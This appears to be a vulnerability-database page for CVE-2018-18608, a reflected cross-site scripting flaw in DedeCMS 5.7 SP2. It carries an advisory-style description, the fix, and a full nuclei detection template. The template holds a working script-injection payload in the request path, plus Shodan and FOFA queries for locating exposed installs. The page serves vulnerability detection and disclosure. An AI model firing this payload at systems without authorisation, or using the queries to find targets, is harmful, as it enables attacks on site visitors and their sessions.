Browse / CVEs / CVE-2018-18608
CVE-2018-18608· dedecms / dedecms· CWE-79
DedeCMS 5.7 SP2 - Cross-Site Scripting
DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3
Positive when: contains "'><script>alert(document.domain)</script>" and "DedeCMS Error Warning!" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2018-18608 -u <target>
The full check
id: CVE-2018-18608
info:
name: DedeCMS 5.7 SP2 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
DedeCMS 5.7 SP2 is vulnerable to cross-site scripting via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version of DedeCMS or apply the official patch provided by the vendor to fix the XSS vulnerability.
reference:
- https://github.com/ky-j/dedecms/issues/8
- https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx
- https://nvd.nist.gov/vuln/detail/CVE-2018-18608
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-18608
cwe-id: CWE-79
epss-score: 0.02754
epss-percentile: 0.8635
cpe: cpe:2.3:a:dedecms:dedecms:5.7:sp2:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: dedecms
product: dedecms
shodan-query:
- http.html:"DedeCms"
- cpe:"cpe:2.3:a:dedecms:dedecms"
- http.html:"dedecms"
fofa-query:
- body="dedecms"
- app="dedecms"
tags: cve2018,cve,dedecms,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "'><script>alert(document.domain)</script>"
- "DedeCMS Error Warning!"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/ky-j/dedecms/issues/8
- https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx
- https://nvd.nist.gov/vuln/detail/CVE-2018-18608
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from